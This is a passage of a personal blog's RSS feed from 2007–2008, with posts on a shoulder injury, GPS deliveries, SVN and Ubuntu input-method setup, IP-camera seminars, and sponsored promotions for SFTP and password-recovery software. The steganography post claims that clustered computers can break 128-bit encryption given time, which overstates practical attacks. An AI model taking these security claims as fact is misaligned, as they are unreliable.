			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/05/14/virtualization-installing-ubuntu-linux-with-vmware-on-macbook/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Shoulder bursitis</title>
		<link>http://adrianhoe.com/adrianhoe/2008/04/21/shoulder-bursitis/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/04/21/shoulder-bursitis/#comments</comments>
		<pubDate>Mon, 21 Apr 2008 02:15:19 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Injuries]]></category>
		<category><![CDATA[Karate]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Sports]]></category>
		<category><![CDATA[fastum]]></category>
		<category><![CDATA[ketoprofen]]></category>
		<category><![CDATA[rotator cuff]]></category>
		<category><![CDATA[shoulder bursitis]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/?p=703</guid>
		<description><![CDATA[I had shoulder pain since March. Initially, it began at my left shoulder after waking up one morning. The pain was not too serious until recently (for the past two weeks), I had lousy sleep. Both of my shoulders were aching and often woke me up in the middle of the night. I thought it [...]]]></description>
			<content:encoded><![CDATA[<p>I had shoulder pain since March. Initially, it began at my left shoulder after waking up one morning. The pain was not too serious until recently (for the past two weeks), I had lousy sleep. Both of my shoulders were aching and often woke me up in the middle of the night. I thought it was some kind of spraining and it would go away after good rest with less training. But it seems to self-exacerbate. The pain was getting more intense every night.</p>
<p>Last night, I read articles about <a href="http://orthopedics.about.com/cs/rotatorcuff/a/shbursitis.htm" target="_blank">shoulder bursitis</a> or <a href="http://www.stoneclinic.com/rotator_cuff.htm" target="_blank">rotator cuff injuries and treatment</a>. After reading these articles, I decided to give it a try. I applied Fastum gel (Ketoprofen) on both shoulders. Guess what? I had the best sleep ever since March. I woke up early this morning without any pain.</p>
<p>Fastum is used to relief localized pain of arthritis, rheumatism or sports injury. I should have acted earlier.</p>
<p>On and off, I had been doing some wauke spontaneously while I was thinking or working on some programming problems. Some kind of off-my-mind of physical activities after sitting in front of computer for too long. I guess it was the effect of banging my head on the keyboard and I lost sense of safety. Without doing proper stretching, I performed wauke with speed and force as in a counter attack situation. That could have torn my muscles or tendons on the bursa and I overlook the seriousness of the pain. How insanely I was!</p>
<p>Alright, now I am on Ketoprofen and I am going to apply it for the second time. Hope my shoulders will recover in a month or two.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/04/21/shoulder-bursitis/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>GPS Guided Delivery</title>
		<link>http://adrianhoe.com/adrianhoe/2008/01/30/gps-guided-delivery/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/01/30/gps-guided-delivery/#comments</comments>
		<pubDate>Wed, 30 Jan 2008 15:23:26 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[GPS]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[GIS]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2008/01/30/gps-guided-delivery/</guid>
		<description><![CDATA[Delivery all done! A dozen hampers at 4 locations in Selangor/Kuala Lumpur. 3 out of 4 locations were alien places to me because I had never been there. Drop #1 in Sungai Long, Drop #2 was in Sungai Besi, Drop #3 in PJ and Drop #4 in Selayang. 1, 2 and 4 were places I [...]]]></description>
			<content:encoded><![CDATA[<p>Delivery all done! A dozen hampers at 4 locations in Selangor/Kuala Lumpur. 3 out of 4 locations were alien places to me because I had never been there. Drop #1 in Sungai Long, Drop #2 was in Sungai Besi, Drop #3 in PJ and Drop #4 in Selayang. 1, 2 and 4 were places I was not familiar with and had never been there.</p>
<p>I arrived at Kajang toll at 1130 hours and started to use my GPS device to guide me. Found the place easily by following the GPS guidance. It took some times to navigate through some messy traffics and finding the block and the unit. But I managed to drop off and proceed to Drop #2 at 1215 hours.</p>
<p>Drop #2 and #4 needed some communication with the clients as their address were without street name. They used lot number as they were in industrial park. That complicated the process a little. By 1507 hours, all goods delivered.</p>
<p>On the night before, I researched on the GPS map and found Drop #1 and marked it. Easy job. I had to defer Drop #2 and #4 until morning so that I could call up the clients for some direction. I called them this morning and could roughly  know the locations and marked them.</p>
<p>What made this mission interesting was an ironic demarcation which a traditional delivery versus technology-assisted delivery. While heading to Sungai Long after exiting Kajang toll, I saw a cab driver with a full load of hampers in his cab. He was on a hamper delivery mission too. The difference was that he was looking at his hand drawn map on the steering wheel. In great contrast, I was guided by GPS.</p>
<p>The mission had helped me to build a Clientele GIS.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/01/30/gps-guided-delivery/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>IP Flooding</title>
		<link>http://adrianhoe.com/adrianhoe/2008/01/22/ip-flooding/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/01/22/ip-flooding/#comments</comments>
		<pubDate>Tue, 22 Jan 2008 06:17:46 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Home]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2008/01/22/ip-flooding/</guid>
		<description><![CDATA[I am experiencing IP flooding on my router. It notifies me by email about this attack. Right now, I have identified the source and hopefully I can nail this attacker soon. This is not the first time I experience IP flooding. I have received quite many email notifications in the past 3 weeks but I [...]]]></description>
			<content:encoded><![CDATA[<p>I am experiencing IP flooding on my router. It notifies me by email about this attack. Right now, I have identified the source and hopefully I can nail this attacker soon. This is not the first time I experience IP flooding. I have received quite many email notifications in the past 3 weeks but I was out. It is coincident that I am still at my computers solving some server problems.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/01/22/ip-flooding/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SVN setup</title>
		<link>http://adrianhoe.com/adrianhoe/2008/01/22/svn-setup/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/01/22/svn-setup/#comments</comments>
		<pubDate>Tue, 22 Jan 2008 03:53:16 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Home]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[SCM]]></category>
		<category><![CDATA[Subversion]]></category>
		<category><![CDATA[svn]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2008/01/22/svn-setup/</guid>
		<description><![CDATA[I&#8217;ve finally found time to setup svn at my home net after so many months. My svn server was down when my previous Linux box was down with a dead hard disk last year. The setup was quite a brisk. I had everything installed and configured last night. The test for remote access using a [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve finally found time to setup svn at my home net after so many months. My svn server was down when my previous Linux box was down with a dead hard disk last year. The setup was quite a brisk. I had everything installed and configured last night. The test for remote access using a url was successful. I could import, checkout and check in. Because it was already late, about 1AM, I felt rather tire and went to bed.</p>
<p>This morning, I hacked some codes to provide a rather informative post commit email notification. All are done except the check in will stall. It takes a long time (and possibly hang!). I have yet to fully test before I begin my development project again.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/01/22/svn-setup/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Is your connection secured?</title>
		<link>http://adrianhoe.com/adrianhoe/2008/01/19/is-your-connection-secured/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/01/19/is-your-connection-secured/#comments</comments>
		<pubDate>Sat, 19 Jan 2008 02:33:43 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[SFTP]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2008/01/19/is-your-connection-secured/</guid>
		<description><![CDATA[Internet has become a common tool to connect your mobile computer back to the computers in your office while you are on the go. When you are out there negotiating business with your client, you need to extract a file from your computer in your office but you are hundred or maybe thousands miles away, [...]]]></description>
			<content:encoded><![CDATA[<p>Internet has become a common tool to connect your mobile computer back to the computers in your office while you are on the go. When you are out there negotiating business with your client, you need to extract a file from your computer in your office but you are hundred or maybe thousands miles away, how can you retrieve your file?</p>
<p>The answer is by using FTP or File Transfer Protocol. You can make connection from your mobile computer to your office computer via an Internet connection. It is very convenient to use. But there is a security concern. All communications between your mobile and office computers can be read like an open book by anyone lurking in the Internet. You need a secured way to transfer your sensitive business data.</p>
<p><a href="http://www.pragmasys.com/FortressSSHClientSuite.asp" target="_blank">Pragma Systems SFTP client</a> provides you a secured FTP connection by encrypting all data before they leave your computers. You can be rest assured of the confidentiality of your data during transmission. Don&#8217;t leave your office without it. You never know who is watching.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/01/19/is-your-connection-secured/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Product Seminars</title>
		<link>http://adrianhoe.com/adrianhoe/2008/01/15/product-seminars/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/01/15/product-seminars/#comments</comments>
		<pubDate>Tue, 15 Jan 2008 15:55:28 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[IP camera]]></category>
		<category><![CDATA[Seminar]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2008/01/17/product-seminars/</guid>
		<description><![CDATA[This morning I attended the Panasonic IP Camera Seminar at Panasonic Malaysia in Shah Alam. The drive was smooth but I was lost in Shah Alam trying to locate the place. I did not bring along my GPS but I managed to get to USJ11 where I was a little more familiar with. I took [...]]]></description>
			<content:encoded><![CDATA[<p>This morning I attended the Panasonic IP Camera Seminar at Panasonic Malaysia in Shah Alam. The drive was smooth but I was lost in Shah Alam trying to locate the place. I did not bring along my GPS but I managed to get to USJ11 where I was a little more familiar with. I took the long way by getting to the Federal Highway, paid the toll and found Panasonic Malaysia at last.</p>
<p>The seminar was organized by Panasonic and its distributor. Not so much of interesting talk. Organization was a little messy but overall good. Speakers were not very well trained and lack of exposure. The entire presentation was not too bad at all and it wasn&#8217;t boring as there were some people asking interesting questions. Most important of all was that I managed to establish contacts with Panasonic Malaysia.</p>
<p>Panasonic treated its guest very well with a nice buffet lunch. I took the lunch, washed down with dessert and drinks. Talked to my vendor and to establish closer relationship.</p>
<p>Then I had to rush to Hilton PJ to attend another IP camera event. It was a dealers gathering organized by Axis Communication and one of its distributor in Malaysia. The event was organized in Uncle&#8217;s Chili, a restaurant pub. Nice setup and cozy environment. The presentation was presented by Axis Singapore. The presentation was absolutely good and informative. Axis is a Swedish company and its IP cameras are world number 1.</p>
<p>Axis presentation had been very entertaining and educating at the same time. The presenter, Nafis Jasmani, had done a great job.</p>
<p>Axis and its distributor treated their guests very well too. Excellent and delicious food. I had a great &#8220;meal&#8221; with a beer together with some people I met there. Dessert was great too! The only thing I disliked was that people began to puff cigarette after food and beer. The smoke immediately destroyed the cozy environment and the nice cool air.</p>
<p>I spoke to Nafis before I left. We talked about Axis Developer Program and some technical details. As I understood from him, there are 4 developers in Malaysia developing some vertical Axis solutions. Quite an interesting fact.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/01/15/product-seminars/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lost your password?</title>
		<link>http://adrianhoe.com/adrianhoe/2008/01/08/lost-your-password/</link>
		<comments>http://adrianhoe.com/adrianhoe/2008/01/08/lost-your-password/#comments</comments>
		<pubDate>Tue, 08 Jan 2008 15:39:12 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Access]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[Excel]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[Word]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2008/01/08/lost-your-password/</guid>
		<description><![CDATA[There goes year-end and you need to prepare your new year budget. You retrieve an Excel budgeting file to work on. You have not been touching this file for a year and you encounter problem. You can&#8217;t remember the password to unlock the Excel file. You can&#8217;t recall where you have written down the password [...]]]></description>
			<content:encoded><![CDATA[<p>There goes year-end and you need to prepare your new year budget. You retrieve an Excel budgeting file to work on. You have not been touching this file for a year and you encounter problem. You can&#8217;t remember the password to unlock the Excel file. You can&#8217;t recall where you have written down the password either. You need to do the budgeting for first review in the board meeting tomorrow. What should you do?</p>
<p>You need a <a href="http://www.password-studio.com/" target="_blank">Excel password recovery</a> software. It is an easy to use software to unlock the password for Microsoft Word, Excel and Access. <a href="http://www.password-studio.com/" target="_blank">Password-Studio Pro</a> cracks the password from instantly to within minutes. It uses <em>Smart Dictionary</em> and <em>Bruteforce</em> hacking methods. With <em>Smart Dictionary</em>, it checks through 5.8 million common password combinations in a matter of minutes.</p>
<p><a href="http://www.password-studio.com/" target="_blank">Password-Studio Pro</a> cracks your password as easy as 1-2-3. First, start the wizard. Second, select an attacking method. Third, reap your rewards.<img src="http://tinyurl.com/2cutwq" /></p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2008/01/08/lost-your-password/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to choose a web hosting provider?</title>
		<link>http://adrianhoe.com/adrianhoe/2007/12/20/how-to-choose-a-web-hosting-provider/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/12/20/how-to-choose-a-web-hosting-provider/#comments</comments>
		<pubDate>Thu, 20 Dec 2007 05:12:51 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/12/20/how-to-choose-a-web-hosting-provider/</guid>
		<description><![CDATA[There are thousands of WHP (Web Hosting Provider) with various plans. It is very difficult to make comparison of these plans and services offered by these WHP. Finding one is already a hard start. Web Hosting Choice (http://www.webhostingchoice.com) lets you source your favorite WHP. It also provides useful database query tool to search for the [...]]]></description>
			<content:encoded><![CDATA[<p>There are thousands of WHP (Web Hosting Provider) with various plans. It is very difficult to make comparison of these plans and services offered by these WHP. Finding one is already a hard start. Web Hosting Choice (<a href="http://www.webhostingchoice.com" target="_blank">http://www.webhostingchoice.com</a>) lets you source your favorite WHP. It also provides useful database query tool to search for the WHP of your choice according to your requirement or budget.</p>
<p>The query tool is very easy to use. Just enter your budget and requirement parameters, for example, the monthly fee you are willing to pay, the amount of hard disk space and bandwidth you expect to be provided. Then it will list all the WHPs that fit into your budget and requirement. Simple!</p>
<p>Whether it is for business or personal website hosting, no more wasting time, Web Hosing Choice is the right place to begin with.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/12/20/how-to-choose-a-web-hosting-provider/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Coding War or Extinction of Human Race?</title>
		<link>http://adrianhoe.com/adrianhoe/2007/12/18/coding-war-or-extinction-of-human-race/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/12/18/coding-war-or-extinction-of-human-race/#comments</comments>
		<pubDate>Tue, 18 Dec 2007 08:28:31 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[command and control]]></category>
		<category><![CDATA[concurrency]]></category>
		<category><![CDATA[launch]]></category>
		<category><![CDATA[missile]]></category>
		<category><![CDATA[multi-threaded]]></category>
		<category><![CDATA[software]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/12/18/coding-war-or-extinction-of-human-race/</guid>
		<description><![CDATA[When I stumbled on this story about a software engineer and his encounter of a bug in a missile launch command and control system, I read with delight because it has been a while since I read an exciting piece of story about Ada. On the other hand, I was so nervous because our extinction [...]]]></description>
			<content:encoded><![CDATA[<p>When I stumbled on this story about a software engineer and his encounter of a bug in a missile launch command and control system, I read with delight because it has been a while since I read an exciting piece of story about Ada. On the other hand, I was so nervous because our extinction might just be a string away.</p>
<p>The story is about a software engineer trying to maintain a 400KSLOC legacy system when the OS and compiler version were upgraded. You can read the full story <a href="http://blog.kickin-the-darkness.com/2007/12/coding-war-story-whats-your-point.html" target="_blank">here</a>.</p>
<p>It is pretty exciting to read about the job of working on the legacy Ada code of such mission critical system. Why was the error occurring? What would be the consequence if the missile launch test failed? What if the missile were launched &#8220;accidentally&#8221;?</p>
<p>I believe, one day, the human race will extinct as was portrait in the movie Terminator. The extinction will be due to an error in a software, or rather the negligence or ignorant of a software engineer.</p>
<p>What the story tells us is that it appeared to be some 20 lines of code  which caused the upheaval this Thanksgiving. May be it is really Thanksgiving for giving the human race another chance to survive. So, do what you want to do most, enjoy life while you can.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/12/18/coding-war-or-extinction-of-human-race/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Steganography and Information Security</title>
		<link>http://adrianhoe.com/adrianhoe/2007/12/11/steganography-and-information-security/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/12/11/steganography-and-information-security/#comments</comments>
		<pubDate>Tue, 11 Dec 2007 10:19:02 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Information Forensics]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[beowulf]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[information]]></category>
		<category><![CDATA[isp]]></category>
		<category><![CDATA[post 25]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[smtp]]></category>
		<category><![CDATA[steganography]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/12/11/steganography-and-information-security/</guid>
		<description><![CDATA[One of the major threats in this information age is the exposure of sensitive information in the Internet. The most common method of securing information is through encryption technology. Today, 128-bit technology is the commonly used encryption method in emails and documents. Recent upheaval as my ISP closing down port 25 for SMTP (Simple Mail [...]]]></description>
			<content:encoded><![CDATA[<p>One of the major threats in this information age is the exposure of sensitive information in the Internet. The most common method of securing information is through encryption technology. Today, 128-bit technology is the commonly used encryption method in emails and documents. Recent upheaval as my ISP closing down port 25 for SMTP (Simple Mail Transfer Protocol) has rung an alarm to my computing needs on the Internet. My ISP&#8217;s decision is to curb spammers who have abused direct SMTP access to email servers. The act is a foolish one as this will not stop spams but at the same time, it affects those genuine users.</p>
<p>A 128-bit encryption can be broken into with cluster computer. A cluster computer consists of computers, called nodes, with one or more CPU. These computers are connected to a network. A special program capable of distributing calculation tasks to all the nodes is needed. This architecture is called Beowulf. Breaking a 128-bit encryption is just a matter of time depending on the number of nodes and the number of CPUs on each node.</p>
<p>My ISP forces all direct SMTP connection to be routed to an unsecured proxy server. As an emergency contingency to my Internet use, I quickly setup encryption for my email client. So far, the closing of port 25 has not affected me.</p>
<p>As I have the need to send sensitive work information across the Net, I feel the encryption is not enough on  a unsecured proxy server. I would elevate the level of information security by using steganography together with encryption.</p>
<p>Steganography is a technique to embed information to a digital photo or picture without altering the photo or picture at eye level. The technique uses advanced algorithm to manipulate bits of data in the digital image with the bits from the information I am going to send. To extract the information from the encrypted digital image, an original image is the key. Only my intended recipient has an original copy of the digital image.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/12/11/steganography-and-information-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Information Forensics</title>
		<link>http://adrianhoe.com/adrianhoe/2007/12/11/information-forensics/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/12/11/information-forensics/#comments</comments>
		<pubDate>Tue, 11 Dec 2007 03:19:52 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Information Forensics]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[forensics]]></category>
		<category><![CDATA[information]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/12/11/information-forensics/</guid>
		<description><![CDATA[What is information forensics? Information forensics is a science of investigation into systemic processes that produce information. Systemic processes utilize technology, primarily computing technology, in creating, delivering, storing, evaluating and processing of information. This process is usually complement by manual process. Information forensics investigation dwells into the aspect of creation, operation and evolution of the [...]]]></description>
			<content:encoded><![CDATA[<p>What is <em>information forensics</em>? Information forensics is a science of investigation into systemic processes that produce information. Systemic processes utilize technology, primarily computing technology, in creating, delivering, storing, evaluating and processing of information. This process is usually complement by manual process. Information forensics investigation dwells into the aspect of creation, operation and evolution of the enterprise information.</p>
<p>My first exposure to information forensics was during my project seeding at UTAR. Dr. Robert Tee was a good friend of mine and he exposed me to information forensics. Although we did not dwell too much deeper into it, I did some research myself and practice it. I provide Information Security Assessment Service to my clients on demand basis.</p>
<p>Information forensics is also very useful for SEO (Search Engine Optimization). My current SEO effort has fully utilized my skill in information forensics investigation to optimize my blog search results on search engines. I also utilize this skill to investigate the visiting patterns of my visitors by cross-referencing their IP addresses from various sources, visiting destination, search criteria, and other interests. From this information, I can have a deeper understanding of the visiting habits of my visitors and identify their search interest. To date, I have identified some spammers and reported them.</p>
<p>I am amazed how information forensics investigation helps me in SEO. If you would like more information about SEO or ISAS services, please visit <a href="http://adrianhoe.com">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/12/11/information-forensics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Perfectionist at work</title>
		<link>http://adrianhoe.com/adrianhoe/2007/11/08/perfectionist-at-work/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/11/08/perfectionist-at-work/#comments</comments>
		<pubDate>Thu, 08 Nov 2007 14:07:05 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Work]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Days in My Life]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/11/08/perfectionist-at-work/</guid>
		<description><![CDATA[It is not easy to work with a perfectionist. It is unusually demanding to with one. I know but I like to work with a perfectionist. The worst thing is that I am also one. It is also very difficult being a perfectionist. Perfectionist has outstanding demands and high expectation. But being a perfectionist is [...]]]></description>
			<content:encoded><![CDATA[<p>It is not easy to work with a perfectionist. It is unusually demanding to with one. I know but I like to work with a perfectionist. The worst thing is that I am also one. It is also very difficult being a perfectionist. Perfectionist has outstanding demands and high expectation.</p>
<p>But being a perfectionist is an advantage. A perfectionist is very good at detailed works and usually will not satisfy when the result is not finer than the expectation. This could send most people on their nerves and become mad.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/11/08/perfectionist-at-work/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HOWTO &#8211; SCIM and Ubuntu Gutsy Gibbon</title>
		<link>http://adrianhoe.com/adrianhoe/2007/10/22/howto-scim-and-ubuntu-gutsy-gibbon/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/10/22/howto-scim-and-ubuntu-gutsy-gibbon/#comments</comments>
		<pubDate>Mon, 22 Oct 2007 03:57:40 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[chinese input]]></category>
		<category><![CDATA[gutsy gibbon]]></category>
		<category><![CDATA[input method]]></category>
		<category><![CDATA[scim]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[upgrade]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/10/22/howto-scim-and-ubuntu-gutsy-gibbon/</guid>
		<description><![CDATA[Ubuntu 7.10, code named &#8220;Gutsy Gibbon&#8221;, has been released. I just finished upgrading from Feisty Fawn (7.04) to Gutsy Gibbon. The upgrade (downloading, unpacking, removing, installing, configuring and cleaning) took about 6 hours to complete. The upgrade was smooth and without any problems except it broke my scim. I have exhausted the search on Internet [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://ubuntu.org" target="_new"><img src="http://adrianhoe.com/adrianhoe/images/blog/ubuntu_gutsy_gibbon.png" alt="Ubuntu Gutsy Gibbon 7.10" align="right"/></a>Ubuntu 7.10, code named &#8220;Gutsy Gibbon&#8221;, has been released. I just finished upgrading from Feisty Fawn (7.04) to Gutsy Gibbon. The upgrade (downloading, unpacking, removing, installing, configuring and cleaning) took about 6 hours to complete.</p>
<p>The upgrade was smooth and without any problems except it broke my scim. I have exhausted the search on Internet for a fix but was disappointed. So, I tried to experiment with a few methods based on the information I had on the Internet and came up a work around for this problem.</p>
<p>Referring to my Chinese Input HOWTO <a href="http://adrianhoe.com/adrianhoe/2007/10/18/howto-chinese-input-for-ubuntu/">here</a>, I assume you have installed <em>scim</em> in Feisty Fawn (7.04) and later upgraded to Gutsy Gibbon (7.10).</p>
<ol>
<li>Goto System -> Preference -> Sessions. Delete the &#8220;Input Method&#8221; as created in my previous HOWTO.</li>
<li>Uninstall and install again scim and all suggested packages.</li>
<li>Click on menu: System -> Preferences ->Sessions
<ul>
<li>Click Startup Program Tab then [New] button.</li>
<li>Name: Input Methods</li>
<li>Command: scim -d</li>
<li>Click [OK] button</li>
</ul>
</li>
<li>Logout and login again.</li>
<li>Go to System -> Administration -> Language Support
<ul>
<li>Select your language(s) support. In my case, Chinese and Japanese.</li>
<li>Check the box at the bottom, Input Method, to activate complex characters input. Apply, uncheck it, apply and check again and apply then quit.</li>
<li>Restart Language Support to make sure the box is checked.</li>
</ul>
</li>
<li>Logout and restart your system.</li>
<li>Login and launch any application, e.g. gedit or Terminal. Right click and select &#8220;Input Method&#8221; and check &#8220;SCIM Input Method&#8221;.</li>
<li>Now click on the &#8220;Input Method&#8221; tray icon on the top left of your screen to choose your desired language support and input method.</li>
</ol>
<p>Now, you should be able to switch input method in some applications such as Terminal or gedit. It still does not work on every applications such as Open Office. To activate scim for every applications, use the command line (or Terminal):</p>
<ol>
<li>Check your locale:
<pre>
<code>
$ locale | grep LANG=
</code>
</pre>
<p>The answer would be something like below, which is in my case:</p>
<pre>
<code>
LANG=en_US.UTF-8
</code></pre>
</li>
<li>Now, with the following command, insall scim-qtimm and tell your system you want to use scim for your input method in your locale:
<pre>
<code>
$ sudo apt-get install scim-qtimm
$ im-switch -z en_US -s scim
</code>
</pre>
</li>
<li>Logout and login again and start Open Office. You should now able to select your input method in every applications.</li>
</ol>
<p>This should also work (with instructions from my previous post <a href="http://adrianhoe.com/adrianhoe/2007/10/18/howto-chinese-input-for-ubuntu/">here</a>) if you have a fresh installation of Gutsy Gibbon. Please let me know if this works for you.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/10/22/howto-scim-and-ubuntu-gutsy-gibbon/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>HOWTO &#8211; Chinese input for Ubuntu</title>
		<link>http://adrianhoe.com/adrianhoe/2007/10/16/howto-chinese-input-for-ubuntu/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/10/16/howto-chinese-input-for-ubuntu/#comments</comments>
		<pubDate>Tue, 16 Oct 2007 06:55:00 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Chinese]]></category>
		<category><![CDATA[Computing]]></category>
